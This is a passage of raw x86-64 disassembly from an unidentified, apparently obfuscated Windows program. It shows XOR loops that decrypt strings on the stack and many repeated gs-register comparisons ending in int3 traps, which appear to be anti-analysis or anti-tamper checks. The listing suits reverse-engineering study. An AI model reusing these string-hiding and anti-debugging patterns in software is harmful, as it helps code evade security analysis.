mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f839
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f839
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f859
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
movdqa xmm0, xmmword [0x1400c3f80]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400c3f60]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0xf05ad917
mov dword [rbp + 0xbec], 0x28472e22
mov dword [rbp + 0xbf0], 0x614e5712
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r14
mov r13d, 0xa255647f
mov qword [rsp + 0x20], r13
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.14001d6d8
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
add rdi, rsi
cmp rdi, 0x2c
jb 0x14000f8a8
mov byte [rbp + 0xbf4], r14b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.1400031f8
mov rax, qword gs:[0x1e]
cmp rax, r12
movabs r13, 0xcce3b300bd1c137e
jne 0x14000f9aa
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000f98a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000f98a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000f9aa
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000fa65
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, 0xbbd1e76
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fa45
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fa45
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fa65
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
lea rcx, [rbp + 0x9f8]
call fcn.14000df10
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.140003308
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14001e790
lea rcx, [rbp + 0x9f8]
call fcn.14001e6cc
lea rcx, [rbp + 0x9f8]
call fcn.140003818
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000fb5d
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fb3d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fb3d
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fb5d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000fc07
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fbe7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fbe7
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fc07
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov dword [rbp - 0x68], 0x1fc81272
mov word [rbp - 0x64], 0x61c3
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r14
mov r13d, 0xa255647f
mov qword [rsp + 0x20], r13
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.14001d66c
xor al, dil
mov byte [rbp + rdi - 0x68], al
add rdi, rsi
cmp rdi, 6
jb 0x14000fc22
mov byte [rbp - 0x62], r14b
mov dword [rbp - 0x58], 0x1fc8006b
mov word [rbp - 0x54], 0x61c3
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r14
movabs r13, 0xcce3b300bd1c137e
mov r15d, 0xa255647f
mov qword [rsp + 0x20], r15
mov r9d, 6
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.14001d66c
xor al, dil
mov byte [rbp + rdi - 0x58], al
add rdi, rsi
cmp rdi, 6
jb 0x14000fc76
mov byte [rbp - 0x52], r14b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14001ea00
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14001e3d8
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14001e52c
lea rcx, [rbp - 0x68]
call fcn.140003360
mov rcx, rax
call fcn.140003308
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14001e218
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14001e52c
lea rdx, [0x1400d3b40]
lea rcx, [rbp + 0xa78]
call fcn.14001e3d8
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14001e52c
lea rcx, [rbp + 0xa78]
call fcn.14001e6cc
lea rcx, [rbp + 0xa78]
call fcn.140003818
lea rcx, [rbp + 0xa58]
call fcn.14001e6cc
lea rcx, [rbp + 0xa58]
call fcn.140003818
lea rcx, [rbp + 0xa38]
call fcn.14001e6cc
lea rcx, [rbp + 0xa38]
call fcn.140003818
mov rax, qword gs:[0x1e]
cmp rax, r12
mov r15d, 0x1d2e7ffe
mov edi, 0xbbd1e76
jne 0x14000fe3a
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fe1a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fe1a
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fe3a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000fef3
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000fed3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000fed3
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000fef3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
int3
lea rcx, [rbp + 0x1208]
call fcn.14001e040
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140084460
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x14000ffb7
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14000ff97
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14000ff97
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14000ffb7
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140083538
int3
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x140010061
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x21]
xor rax, r15
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010041
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140010041
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140010061
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140083538
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.1400032b0
lea rcx, [rbp + 0x10e8]
call fcn.14001e768
nop
mov rax, qword gs:[0x1e]
cmp rax, r12
jne 0x140010137
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, r12
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rbx
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x21]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140010117
mov rcx, qword gs:[0x21]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx